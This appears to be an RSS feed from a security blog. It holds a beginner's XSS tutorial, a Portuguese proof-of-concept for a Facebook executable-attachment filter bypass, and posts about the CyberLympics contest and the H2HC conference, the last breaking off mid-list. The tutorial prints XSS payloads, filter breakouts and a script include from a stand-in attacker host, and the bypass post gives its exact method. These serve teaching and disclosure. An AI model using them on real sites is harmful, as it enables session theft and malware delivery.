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		<title>Questions and Answers About XSS</title>
		<link>http://thekernel.wordpress.com/2012/01/31/questions-and-answers-about-xss/</link>
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		<pubDate>Tue, 31 Jan 2012 14:08:12 +0000</pubDate>
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		<description><![CDATA[The Beginners Guide to XSS Dear reader, I hope that you will enjoy this paper I have written, aimed at mostly beginners within Web Application Security, but also those that needs a quick reference or a good guide to what XSS is in its simplest form. You may copy, distribute, share, adapt, change and edit [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=thekernel.wordpress.com&amp;blog=5945011&amp;post=472&amp;subd=thekernel&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h2>The Beginners Guide to XSS</h2>
<div>Dear reader,</div>
<div></div>
<div>I hope that you will enjoy this paper I have written, aimed at mostly beginners within Web Application Security, but also those that needs a quick reference or a good guide to what XSS is in its simplest form. You may copy, distribute, share, adapt, change and edit as you like. You may however NOT sell this paper but including any contents in course ware, live and online training is allowed.</div>
<div></div>
<div>Best regards, MaXe</div>
<div></div>
<h2>___-:: Disclaimer ::-___</h2>
<p>&nbsp;</p>
<div>By reading this disclaimer you acknowledge that the contents below are for educational purposes only. This tutorial does NOT contain actual attack code so you’ll have to make that up yourself. Furthermore, there is a lot more to Cross Site Scripting than just this article and there are many useful resources on the Internet including some of those in the references in the bottom of this article.</div>
<div></div>
<h2>___ -:: Introduction ::- ___</h2>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>What is XSS and what does it refer to?</strong></span></p>
<p>XSS aka Cross Site Scripting is a client-side attack where an attacker can craft a malicious link, containing script- code which is then executed within the victim’s browser when the target site vulnerable to and injected with XSS is viewed. The script-code can be any language supported by the browser but mostly HTML and Javascript is used along with embedded Flash, Java or ActiveX.</p>
<div></div>
<div>In some cases where the XSS vulnerability is persistent as described further below, the attacker will not have to craft a link as the injected script is inserted directly into the target site and / or web application. The target user(s) still has to view the affected site / page where the injected code is located though.</div>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>What can Cross Site Scripting be used for?</strong></span></p>
<div>Cross Site Scripting can be used for a variety of things, such as session-hijacking, browser attacks, phishing, propaganda and even worms! However it still requires the victim to click a malicious link created by the attacker or browse a page with injected code. Additionally, it is also possible to execute PHP code in some cases depending on the Web Application but also how the XSS payload (script) is written. This requires a good understanding of JavaScript but also the target Web Application as well.</div>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>How could an attacker get a victim to click a XSS-link?</strong></span></p>
<p>The easiest way to get people to click malicious links is to make them look authentic and nonmalicious. Giving them a reason afterward is the social-engineering part which should be easy except if the victim is aware of such attacks and / or has measures against Cross Site Scripting, such as NoScript.</p>
<p>&nbsp;</p>
<div>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>How does an attacker avoid XSS-links looking suspicious?</strong></span></p>
<p>This is typically done with encoding, short url services, redirects and even flash! Furthermore, in case some HTML tags are allowed on a target site, actual URLs can be hidden somewhat from the user, i.e. on many forums it is possible to craft a link this way: [URL=http://vulnerablesite.tld/index.php?call=&lt;script&gt;alert('XSS');&lt;/script&gt;]Free T-shirts![/URL] ( See The /* XSSOR */ link in the bottom for the most common ways to encode JavaScript. )</p>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>What types of Cross Site Scripting are there?</strong></span></p>
<p>The most common types are GET- and POST-based XSS. However Cross Site Scripting can also be triggered via cookies. (XSS can exist in User-Agents too but this is not easy to trigger.) Additionally there is persistent and non-persistent XSS, where the non-persistent has to be triggered via a URL or via another site redirecting the XSS-request to the target vulnerable site for the user (e.g. via short url services).</p>
<p>The persistent XSS can be triggered just by browsing a Web Application with code injected into it. (This depends on which page has code injected, in case the target is not globally affected on all pages loaded by the user.)</p>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>What is the difference between GET- and POST-XSS?</strong></span></p>
<p>The difference is that when GET-requests are used it is possible to conduct the usual XSS attacks where an attacker sends a maliciously crafted URL to the victim which is then executed when the victim opens the link in the browser.</p>
<p>With POST-requests, an attacker could e.g. use flash to send the victim to the POST-XSS vulnerable site since it is not possible to create a URL where POST-requests are in use. However, JavaScript can also be used to create a POST-based XSS request. (This requires the user to view this JavaScript some way, which then sends the POST-based XSS request.)</p>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>Are there sub-categories of Cross Site Scripting?</strong></span></p>
<p>At the moment there’s XSSR and XSSQLI. One could say that XSRF/CSRF belongs to the same category, however the attack method differs too much from traditional Cross Site Scripting. XSSR or CSSR aka Cross Site Script Redirection is used to redirect a victim to another page unwillingly. The page can for example contain a phishing template, browser attack code or in some cases where the data or javascript URI scheme is used: session-hijacking. XSSQLI is a mix of Cross Site Scripting and SQL Injection, where an unknowing victim visits a malicious link containing SQL Injection instructions for an area on the website which requires privileges that guests or members doesn’t have. XSRF or CSRF (sometimes referred to as C-Surf) stands for Cross Site Request Forgery which is used to send automated input via the user to the target site. XSRF can in some cases be triggered just by viewing a specially crafted image tag. With Cross Site Request Forgery it may be possible to e.g. alter the password of the victim if the target site is not secured properly with Anti-CSRF tokens etc. (This prevents these automated requests.)</p>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>What is XST and can it be used for anything?</strong></span></p>
<p>XST also known as Cross Site (Script) Tracing is a way of abusing the HTTP Trace (Debug) protocol. Anything that an attacker sends to a web-server that has TRACE enabled will send the same answer back. If an attacker sends the following:</p>
<p><strong>Code: </strong></p>
<blockquote><p>TRACE / HTTP/1.0<br />
Host: target.tld<br />
Custom-header: &lt;script&gt;alert(0)&lt;/script&gt;</p></blockquote>
<p>The attacker will receive the same <strong>&#8220;Custom-header: &lt;scr…&#8221;</strong> back allowing script execution. However after recent browser updates the following year(s) XST has been increasingly harder to control and execute properly.</p>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>How is it possible to find XSS bugs within websites?</strong></span></p>
<p>There are 2 methods: code / script auditing or fuzzing which is described further below.</p>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>What kind of tools is required to find XSS bugs?</strong></span></p>
<p>(REQ = Required, OPT = Optional) – REQ: An Internet Browser (such as FireFox) in case you’re fuzzing. (It is possible to do with netcat, but not advisable.) – REQ: A text-viewer (such as notepad, scite, nano etc.) in case you’re auditing. – OPT: An intercepting proxy in case you’re doing more advanced XSS. (In FireFox it is possible to use Tamper Data however Burp Suite is generally better in the long run.) – OPT: Browser Addons, for FireFox the following are especially useful: Firebug, LiveHTTP Headers, Add ‘N’ Edit Cookies, RefControl, Tamper Data and more.</p>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>What else is useful to know if One wants to find XSS bugs?</strong></span></p>
<p>- Browser limitations regarding Cross Site Scripting [1]<br />
- HTTP Headers and how the HTTP protocol works.<br />
- HTML + Javascript and perhaps embedded script attacks. (flash etc.) – Intercepting proxies (Burp etc.), differential tools (meld, ExamDiff, diff, grep, etc.)<br />
- Useful browser-addons (see FireCat [3])</p>
<p>- Website scanners (Nikto, W3AF, Grendel, Dirbuster, etc.)</p>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>Where is XSS-bugs typically located?</strong></span></p>
<p>It is usually located in user submitted input either via GET- or POST-requests, where it is reflected on the target site as text outside tags, inside tag values or within javascript. It can also in some cases be submitted via cookies, http headers or in rare cases file uploads. (I.e. filenames has been possible)</p>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>How does One protect a site against XSS?</strong></span></p>
<p>The best way is to ensure that all user input and output is validated and sanitized properly. However in some cases an IPS or WAF can also protect against XSS though the best way is still to validate (and sanitize) the user-input and -output properly. Relying on magic_quotes and other php.ini setting is generally a bad idea and not considered &#8220;best practice&#8221; options.</p>
<p>&nbsp;</p>
<h2> ___ -:: Finding the Bug – With Fuzzing ::- ___</h2>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>[EASY] Example Case – A:</strong></span></p>
<p>We’re at http://buggysite.tld where we see a &#8220;Search-field&#8221; in the top-right. Since we don’t know the real source code but only the HTML-output of the site we will have to fuzz anything where it is possible to submit data.</p>
<p>In some cases the data will be reflected on the site and in some cases it wont. If it doesn’t we move on to the next cookie, header, GET / POST request or whatever it is that we are fuzzing.</p>
<p>The most effective way to fuzz is not to write: <strong>&lt;script&gt;alert(0)&lt;/script&gt;</strong> since many sites has different precautions against Cross Site Scripting. Instead we create a custom string which in most cases wont trigger anything that might alter the output of the site or render error pages that aren’t vulnerable.</p>
<p>An example of an effective string could be: <strong>&#8220;keyword’/\&gt;&lt;</strong></p>
<p><strong>&#8221; ‘ /\ &gt;</strong> and &lt; are the most commonly used html characters used in Cross Site Scripting. However if we want to be really thorough then we could also add <strong>)(][}{%</strong> to the string that we are using to fuzz the target site.</p>
<p>The reason why there's not two of " or ' is because this can trigger a WAF, IPS or whatever precaution the site might have tried to implement against XSS instead of using a secure coding scheme / plan / development cycle. The reason why all characters are written as &gt;&lt; instead of &lt;&gt; is because this is a common bypass against XSS-filters!</p>
<p>With that in mind, we use the following string: "haxxor'/\&gt;&lt; to fuzz the search-field:</p>
<p>Lets take a look at the returned HTML-code:</p>
<p><strong>HTML Code:    </strong></p>
<p>...</p>
<blockquote><p>&lt;input type="text" name="search" value="&amp;quot;haxxor'/\&amp;gt;&amp;lt;" /&gt; &lt;br /&gt; You searched for \"haxxor\'/\\&gt;&lt; which returned no results.</p></blockquote>
<p>...</p>
<p>As we can see the input tag encoded our fuzzing string correct, however the text afterwards did not encode it properly as it only added slashes which is completely useless against Cross Site Scripting in this case.</p>
<p>By submitting the following string we can XSS their website: <strong>&lt;script&gt;alert(0)&lt;/script&gt;</strong> or perhaps <strong>&lt;script src=http://h4x0r.tld/xss.js&gt;&lt;/script&gt;</strong></p>
<p>Of course we don't know if the following characters : ( ) and . are filtered but in most cases they're not.</p>
<p>Our final XSS-url could be: <strong>http://buggysite.tld/search.php?query=&lt;script&gt;alert(0)&lt;/script&gt;</strong> if GETrequests are used.</p>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>[EASY] Example Case – B:</strong></span></p>
<p>We’re at http://yetanothersite.tld where we see another search formular.</p>
<p>The following is returned after our string is submitted to the search field:</p>
<p><strong>HTML Code:    </strong></p>
<p>…</p>
<blockquote><p>&lt;input type=&#8221;text&#8221; name=&#8221;search&#8221; value=&#8221;\&#8221;haxxor\’/\\&gt;&lt;&#8221; /&gt; &lt;br /&gt; You searched for &amp;quot;haxxor’/\&amp;gt;&amp;lt; which returned no results.</p></blockquote>
<p>…</p>
<p>In this case the string after the tag, encoded the string properly. However the string inside the tag only had slashes added which does nothing in this case. Basically we can bypass this easily with: <strong>&#8220;&gt;&lt;script&gt;alert(0)&lt;/script&gt;</strong></p>
<p>If we’re going to load external javascript we will have to avoid using &#8221; and ‘ of course.</p>
<p>Our final XSS-url could be: <strong>http://yetanothersite.tld/search.php?query=&#8221;&gt;&lt;script&gt;alert(0)&lt;/script&gt;</strong> if GET-requests are used.</p>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>[MODERATE] Example Case – C:</strong></span></p>
<p>We’re at http://prettysecure.tld where we find yet another search field, it’s time to submit our fuzzing string.</p>
<p>The following HTML-code is returned after our string is submitted:</p>
<p><strong>HTML Code:  </strong></p>
<p>…</p>
<blockquote><p>&lt;input type=&#8221;text&#8221; name=&#8221;search&#8221; value=&#8221;&amp;quot;haxxor’/\&amp;gt;&amp;lt;&#8221;&gt; You searched for &#8220;&amp;quot;haxxor’/\&amp;gt;&amp;lt;&#8221; which returned no results.</p></blockquote>
<p>… (further down)</p>
<p>&lt;script&gt;     …</p>
<blockquote><p>s.prop1=&#8221;prettysecure&#8221;;     s.prop2=&#8221;\&#8221;haxxor%39/\%3E%3C&#8221;;     s.prop3=&#8221;adspace&#8221;;</p></blockquote>
<p>…     &lt;/script&gt;</p>
<p>For most people this might look secure but it really isn’t. A lot of people also overlooks potential Cross Site Scripting vectors if their string &lt;script&gt;alert(0)&lt;/script&gt; is either not output directly or encoded where they expect the XSS bug to be. This is why it is important to use a keyword that doesn’t exist on the site, such as haxxor or something better. The reason why a keyword is used is because it is searchable almost always. You can call it a XSS-locator. [1]</p>
<p>Anyway, back to our example. s.prop2=&#8221;\&#8221;haxxor%39/\%3E%3C&#8221;; looks secure but the flaw is that backspace aka \ is not filtered, escaped or encoded correctly. So if we write: \&#8221; it will become \\&#8221;, which will escape the first \ but not our quote. As you can see, we can’t use tags either so we’ll have to use javascript and no hard brackets (unless we use javascript, to create these for us which is possible in numerous amounts of ways).</p>
<p>We have of course checked that soft brackets ( ) are NOT filtered. (in some cases they can be).</p>
<p>By entering the following string we are able to create an alert box: \&#8221;; alert(0); s.prop500=\&#8221; This will become: s.prop2=\\&#8221;; alert(0); s.prop500=\\&#8221; when we submit the string. The reason why we add the s.prop500=\&#8221; variable to our string is because the javascript will most likely NOT execute if we don’t. We could also use comments so instead of s.prop500=\&#8221; we just use // in the end of the string.</p>
<p>(Whenever XSS is located within JavaScript, try to finish the script so the rest will execute properly. Think and perform this way since it will help to understand how the page functions as well without breaking it.)</p>
<p>In this case it is also possible to execute external javascript if One uses a bit more advanced javascript. In order to do this we can use document.write(String.fromCharCode()); where you will need a decimal converter. [The XSSOR]</p>
<p>Our final XSS-url could be: http://prettysecure.tld/search.php?query=\&#8221;; alert(0); s.prop500=\&#8221;</p>
<p>&nbsp;</p>
<h2><strong>___ -:: Finding the Bug – With Auditing ::- ___</strong></h2>
<p>&nbsp;</p>
<p><span style="color:#ff0000;"><strong><span style="text-decoration:underline;">[EASY] Example Case – A:</span></strong></span></p>
<p>The following file (index.php) has some interesting code:</p>
<p><strong>PHP Code: </strong></p>
<p>…</p>
<blockquote><p>if($_GET['view_profile']==1) {     echo $_GET['name'];     … (more code)     }</p></blockquote>
<p>…</p>
<p>By looking at the above code we can see that if view_profile is equal to 1 then the script prints the &#8220;name&#8221; variable. An example attack URL could look like: <strong>http://testz.tld/index.php? view_profile=1&amp;name=&lt;script&gt;alert(0)&lt;/script&gt;</strong></p>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>[HARD] Example Case – B:</strong></span></p>
<p>The following file (search.php) has some interesting code:</p>
<p><strong>PHP Code: </strong></p>
<p>…</p>
<blockquote><p>if($_GET['set_flag']==1) {     $var = &#8220;checked&#8221;;     }     echo &#8220;&lt;input type=’radio’ value=’flag’ checked=’&#8221;. htmlentities($var) .&#8221;’ /&gt;&#8221;;</p></blockquote>
<p>…</p>
<p>&nbsp;</p>
<p>This is a conditional vulnerability where register_globals in php.ini has to be set to On. (Off is factory default). Register_Globals basically allows the user to set variables on the fly via the browser, even if they are not meant to be set.</p>
<p>This only applies to variables that are NOT set as in the example above. Another problem we have encountered is htmlentities however due to a coding error we can still abuse the tag without creating a new. We will need to use event handlers in the &lt;input&gt; tag and some CSS (Cascading Style Sheet) to make sure that the victim triggers the eventhandler no matter what.</p>
<p>There’s multiple ways of doing that, one of them is:</p>
<p><strong>HTML Code:</strong></p>
<blockquote><p>style=’display:block;width:99999px;height:99999px;’</p></blockquote>
<p>An eventhandler that we could use in this case could be onmouseover, even though onblur might be better.</p>
<p>You might ask yourself, why is the above script not secure? Because htmlentities() used that way is insecure, due to that the tag looks like this in html form: <strong>&lt;input type=’radio’ value=’flag’ checked=’$var’ /&gt;</strong></p>
<p>Inside the checked value our variable ($var) is encoded, but only &#8221; &gt; and &lt; are encoded, not ‘ due to ENT_QUOTES were not set in the htmlentities function. This means that we can break out of checked=” easily.</p>
<p>An example attack URL could be: <strong>http://was-secure.tld/search.php?test=’ style=’display:block;width:99999px;height:99999px; ‘ onmouseover=’alert(0)</strong></p>
<p>There is no &#8220;Example Case – C&#8221; since I have gone through most the important of Cross Site Scripting.</p>
<p>&nbsp;</p>
<h2><strong>___ -:: Additional Information ::- ___</strong></h2>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>XSSR</strong></span></p>
<p>When it is possible to send a user to the data or javascript URI scheme either via A) GET- or POSTrequests or B) User submitted content such as a link then the XSSR category applies to the bug. However some individuals has claimed that a site that only accepts HTTP or HTTPS links via GETrequests also falls under the XSSR category.</p>
<p>An example of XSSR could be: http://somesite.tld/redirect.php? link=data:text/html,&lt;script&gt;alert(0)&lt;/script&gt; And if the Javascript URI scheme is used: http://somesite.tld/redirect.php?link=javascript:alert(0);</p>
<p>This has in some cases been known to leak cookies and is therefore used in session-hijacking. Additionally being able to use the javascript URI scheme in image tags on forums can be abused as well though not all browsers accepts this, but generally Internet Explorer does. (i.e. &lt;img src=&#8221;javascript:alert(‘Exploit-DB Rocks!’);&#8221; /&gt;</p>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>XSSQLI</strong></span></p>
<p>When a SQL Injection vulnerability exists within a privileged area of the target site, XSSQLI becomes plausible.</p>
<p>An example of XSSQLI could be tricking the administrator of &#8220;shouldbesecure.tld&#8221; to click either the SQL Injection link or click a Cross Site Scripting link which contains a call to the SQL Injection in the privileged area of the site where this could be the vulnerable part: http://shouldbesecure.tld/admin.php? del=1 AND 1=1/*</p>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;color:#ff0000;"><strong>XSRF</strong></span></p>
<p>Also known as CSRF and C-Surf, can be used against sites that doesn’t use tokens which are usually hidden inside tags. A common way to use tokens against C-Surf attacks is to hide them inside tags like:</p>
<p><strong>HTML Code:    </strong></p>
<blockquote><p>&lt;input type=&#8221;hidden&#8221; name=&#8221;anti-csrf&#8221; value=&#8221;random token value&#8221; /&gt;</p></blockquote>
<p>If the tokens are not random enough it might be possible to calculate these and still use C-Surf in an attack. Furthermore, if XSS is present at the target site it may also be possible to use Cross Site Scripting to read these Anti-CSRF values and thereby use them into performing automated request and bypass this protection.</p>
<p>&nbsp;</p>
<p><strong>References:</strong></p>
<p>[1] <a href="http://ha.ckers.org/xss.html">http://ha.ckers.org/xss.html </a></p>
<p>[2] <a href="http://ha.ckers.org/xss.html">http://en.wikipedia.org/wiki/Cross-site_scripting </a></p>
<p>[3] <a href="http://firecat.intern0t.net/">http://firecat.intern0t.net/</a></p>
<p>&nbsp;</p>
<p><strong>Useful Tools and Other Sites:</strong></p>
<p>[XSS Encoder] <a href="http://intern0t.net/xssor/">http://intern0t.net/xssor/ </a></p>
<p>[Online Self-Test Page] <a href="http://intern0t.net/xsstutorial/">http://intern0t.net/xsstutorial/ </a></p>
<p>[XSS PoC Creator] <a href="http://intern0t.net/utube/">http://intern0t.net/utube/ </a></p>
<p>[Exploit-DB Blog] <a href="http://www.exploit-db.com/category/maxe/">http://www.exploit-db.com/category/maxe/ </a></p>
<p>[Videos / Demo's] <a href="http://www.youtube.com/user/maxel3g3nd">http://www.youtube.com/user/maxel3g3nd </a></p>
<p>[HTTP Options] <a href="http://attacks.intern0t.net/htopt/">http://attacks.intern0t.net/htopt/ </a></p>
<p>[XSS Trace] <a href="http://attacks.intern0t.net/xstrace/">http://attacks.intern0t.net/xstrace/</a></p>
</div>
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		<title>Facebook Attach EXE Vulnerability &#8211; POC</title>
		<link>http://thekernel.wordpress.com/2011/10/27/facebook-attach-exe-vulnerability/</link>
		<comments>http://thekernel.wordpress.com/2011/10/27/facebook-attach-exe-vulnerability/#comments</comments>
		<pubDate>Thu, 27 Oct 2011 22:54:06 +0000</pubDate>
		<dc:creator>thekernel</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[attach]]></category>
		<category><![CDATA[facebook vulnerability]]></category>

		<guid isPermaLink="false">http://thekernel.wordpress.com/?p=452</guid>
		<description><![CDATA[A função de mensagens privadas foi comprometida, você pode anexar um arquivo executável e enviá-lo a qualquer um, desde que você coloque um espaço após o nome do arquivo. POC 1. Resumo: Ao usar funcionalidade &#8216;Mensagens&#8217; do Facebook, há um recurso para anexar um arquivo. Usando esse recurso, normalmente, o site não permitirá que um [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=thekernel.wordpress.com&amp;blog=5945011&amp;post=452&amp;subd=thekernel&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span id="result_box" class="long_text" lang="pt"><span class="hps">A função</span> <span class="hps">de mensagens privadas</span> <span class="hps">foi</span><span class="hps"> comprometida,</span> <span class="hps">você pode anexar</span> <span class="hps">um arquivo executável</span> <span class="hps">e enviá-lo</span> <span class="hps">a qualquer um</span>, desde que você <span class="hps">coloque um espaço</span> <span class="hps">após</span> <span class="hps">o nome do arquivo</span>.</span></p>
<h3>POC</h3>
<span style="text-align:center; display: block;"><a href="http://thekernel.wordpress.com/2011/10/27/facebook-attach-exe-vulnerability/"><img src="http://img.youtube.com/vi/RTx1mBU2Sy4/2.jpg" alt="" /></a></span>
<h2>1. Resumo:</h2>
<p>Ao usar funcionalidade &#8216;Mensagens&#8217; do Facebook, há um recurso para anexar um arquivo. Usando esse recurso, normalmente, o site não permitirá que um usuário para anexar um arquivo executável. Um bug foi descoberto para subverter essa mecanismos de segurança. Nota, você não tem que ser amigos com o usuário para lhes enviar uma mensagem com um anexo.</p>
<h2>2. Descrição:</h2>
<p>Ao anexar um arquivo executável, o Facebook irá retornar uma mensagem de erro dizendo:</p>
<p>&#8220;Upload Error: Você não pode anexar arquivos desse tipo.&#8221;</p>
<p><img class="alignnone" title="error" src="http://thekernel.files.wordpress.com/2011/10/error_uploading.png?w=446&#038;h=107" alt="" width="446" height="107" /></p>
<p>Quando fizemos o upload de um arquivo anexo para o Facebook, nos capturamos a solicitação POST enviadas para o servidor web. Dentro desta solicitação POST temos a linha:</p>
<address>Content-Disposition: form-data; name=&#8221;attachment&#8221;; filename=&#8221;cmd.exe&#8221;</address>
<p>Descobrimos que a variável &#8216;filename&#8217; estava sendo analisada para determinar se o tipo de arquivo é permitido ou não.</p>
<p>Para subverter os mecanismos de segurança para permitir que um tipo de arquivo .exe, nós modificamos o POST, acrescentando um espaço para nossa variável filename assim:</p>
<address>filename=&#8221;cmd.exe &#8220;</address>
<address> </address>
<address><img class="alignnone" title="post" src="http://thekernel.files.wordpress.com/2011/10/post.jpg?w=448&#038;h=508" alt="" width="448" height="508" /></address>
<address> </address>
<p><span id="result_box" class="long_text" lang="pt"><span class="hps">Isso foi o suficiente</span> <span class="hps">para enganar o</span> <span class="hps">analisador e</span> <span class="hps">permitir que o nosso</span> <span class="hps">arquivo executável</span> <span id="result_box" class="long_text" lang="pt">seja anexado</span> <span class="hps">e enviado em</span> <span class="hps">uma mensagem.</span></span></p>
<p><img class="alignnone" title="hot" src="http://thekernel.files.wordpress.com/2011/10/hot_stuff.png?w=495&#038;h=107" alt="" width="495" height="107" /></p>
<h2><span id="result_box" class="long_text" lang="pt"><span class="hps">3.</span> <span class="hps">Impacto:</span></span></h2>
<p><span id="result_box" class="long_text" lang="pt"><br />
<span class="hps">Permitir que</span> <span class="hps">um atacante comprometa</span> <span class="hps">um sistema de</span> <span class="hps">computador</span> <span class="hps">da vítima</span>.</span></p>
<h2>Creditos:</h2>
<h3>Discovered by Nathan Power &#8211; www.securitypentest.com</h3>
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		<title>Global CyberLympics</title>
		<link>http://thekernel.wordpress.com/2011/10/25/global-cyberlympics/</link>
		<comments>http://thekernel.wordpress.com/2011/10/25/global-cyberlympics/#comments</comments>
		<pubDate>Tue, 25 Oct 2011 20:28:44 +0000</pubDate>
		<dc:creator>thekernel</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[CyberLympics]]></category>

		<guid isPermaLink="false">http://thekernel.wordpress.com/?p=409</guid>
		<description><![CDATA[É baseado em uma competição de ataque e defesa de rede e sistemas, isso é, o time será responsável pela defesa de sua rede e em contra partida terá que atacar a rede dos outros times. A equipe pode ser composta por no mínimo de 4 e no máximo 6 membros, todos os membros do [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=thekernel.wordpress.com&amp;blog=5945011&amp;post=409&amp;subd=thekernel&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone" title="cyberlympics" src="http://www.cyberlympics.org/Portals/0/logo_01.png" alt="" width="268" height="79" /></p>
<p>É baseado em uma competição de ataque e defesa de rede e sistemas, isso é, o time será responsável pela defesa de sua rede e em contra partida terá que atacar a rede dos outros times. A equipe pode ser composta por no mínimo de 4 e no máximo 6 membros, todos os membros do time devem ser da mesma nacionalidade.</p>
<span style="text-align:center; display: block;"><a href="http://thekernel.wordpress.com/2011/10/25/global-cyberlympics/"><img src="http://img.youtube.com/vi/pGaJyr3Z_H0/2.jpg" alt="" /></a></span>
<p>O jogo é composto por um conjunto de objetivos que cobre os principais componentes de segurança e haverá seis diferentes categorias de objetivos que a equipe precisa completar.</p>
<h2><span style="color:#ff0000;">Attack</span></h2>
<ul>
<li>Web applications</li>
</ul>
<ul>
<li>OS compromise</li>
</ul>
<ul>
<li>Exploit Hunting</li>
</ul>
<ul>
<li>Lock picking</li>
</ul>
<p>Consiste em atacar as aplicações web, comprometer sistemas operacionais, identificar vulnerabilidades&#8230;</p>
<h2><span style="color:#ff0000;">Defense</span></h2>
<p><strong>Keeping attackers out <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </strong><br />
Na defesa é o básico, manter seus serviços de rede em funcionamento, para cada comprometimento o time perde pontos.</p>
<p>Como informei em post anterior aqui na South America, o campeonato será no evento H2HC (São Paulo, Brasil), <a href="http://www.cyberlympics.org/Venues/SouthAmericaChampionships.aspx" target="_blank">cadastre-se</a>.</p>
<p><a href="http://www.cyberlympics.org/TheGames/MasterRules.aspx" target="_blank">Regras </a>gerais do game.</p>
<p><strong>Boa Sorte !</strong></p>
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		<title>Hackers To Hackers Conference (H2HC)</title>
		<link>http://thekernel.wordpress.com/2011/10/21/hackers-to-hackers-conference-h2hc/</link>
		<comments>http://thekernel.wordpress.com/2011/10/21/hackers-to-hackers-conference-h2hc/#comments</comments>
		<pubDate>Fri, 21 Oct 2011 15:00:20 +0000</pubDate>
		<dc:creator>thekernel</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Coruja de TI]]></category>
		<category><![CDATA[Evento de Segurança]]></category>
		<category><![CDATA[H2HC]]></category>
		<category><![CDATA[Hackers To Hackers Conference]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://thekernel.wordpress.com/?p=396</guid>
		<description><![CDATA[Está batendo na porta a nova edição do ( excelente evento ) Hackers To Hackers Conference, mais conhecido como H2HC, que este ano ( como nos outros ) vai com certeza superar as expectativas em relação as palestras, com muitos palestrantes de peso no mundo da segurança/hacking. O uso da palavra Hacker para se referir [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=thekernel.wordpress.com&amp;blog=5945011&amp;post=396&amp;subd=thekernel&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Está batendo na porta a nova edição do ( <em>excelente evento</em> ) Hackers To Hackers Conference, mais conhecido como H2HC, que este ano ( como nos outros ) vai com certeza superar as expectativas em relação as palestras, com muitos palestrantes de <a href="http://www.h2hc.com.br/palestrantes.php" target="_blank">peso </a>no mundo da segurança/hacking.</p>
<blockquote><p><em>O uso da palavra Hacker para se referir ao violador de segurança é uma conclusão que vem por parte dos meios de comunicação de massa.</em></p>
<p><em>Nós, hackers, nos recusamos a reconhecer este significado, e continuamos usando a palavra para indicar alguém que ama programar e que gosta de ser hábil e engenhoso.</em></p>
<p align="right">Richard Stallman</p>
</blockquote>
<h2 style="text-align:left;" align="right"><span style="color:#ff0000;"><strong>O que é o evento:</strong></span></h2>
<p style="text-align:left;" align="right">Hackers To Hackers Conference (H2HC) é uma conferência organizada por pessoas que trabalham ou que estão diretamente envolvidas com pesquisas e desenvolvimento na área de segurança da informação, cujo principal objetivo é permitir a disseminação, discussão e a troca de conhecimento sobre segurança da informação entre os participantes e também entre as empresas envolvidas no evento. Com treinamentos e palestras apresentadas por membros respeitados do mundo corporativo, grupos de pesquisas e comunidade underground, neste ano a conferência promete demonstrar técnicas que nunca foram vistas ou discutidas com o público anteriormente.</p>
<p style="text-align:left;" align="right"><a href="http://www.h2hc.com.br/evento.php" target="_blank">Continua&#8230; </a></p>
<h2 style="text-align:left;" align="right"><span style="color:#ff0000;">Onde:</span></h2>
<p style="text-align:left;" align="right">O Hackers to Hackers Conference 8th Edition ocorrerá na <strong>Amcham Business Center</strong> São Paulo &#8211; SP, Brasil, nos dias <strong>29 e 30 de outubro</strong> de 2011.</p>
<h2 style="text-align:left;" align="right"><span style="color:#ff0000;">Capture The Flag:</span></h2>
<p style="text-align:left;" align="right">Para quem gosta de desafios o CTF desse ano será diferente e muito maior, realizado na própria H2HC pela <a href="http://cyberlympics.org/" target="_blank">Cyberlympics</a> que é organizado pelo EC-Council. Uma ótima iniciativa, tomara que consigamos bons resultados&#8230;</p>
<p style="text-align:left;" align="right">Um detalhe sobre o evento é que ele é bem técnico, então, esteja afiado nos estudos e pesquisas sobre hacking, você vai precisar <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3><strong><span style="color:#ff0000;">Tópicos incluídos, mas não limitados a:</span></strong></h3>
<ul>
<li>Teste de Intrusão</li>
<li>Segurança de aplicações web</li>
<li>Técnicas de desenvolvimento de exploits</li>
<li>Segurança em telecomunicações e phone phreaking</li>
<li>Fuzzing e teste de Segurança de aplicações</li>
<li>Técnicas para desenvolvimento de software e sistemas seguros</li>
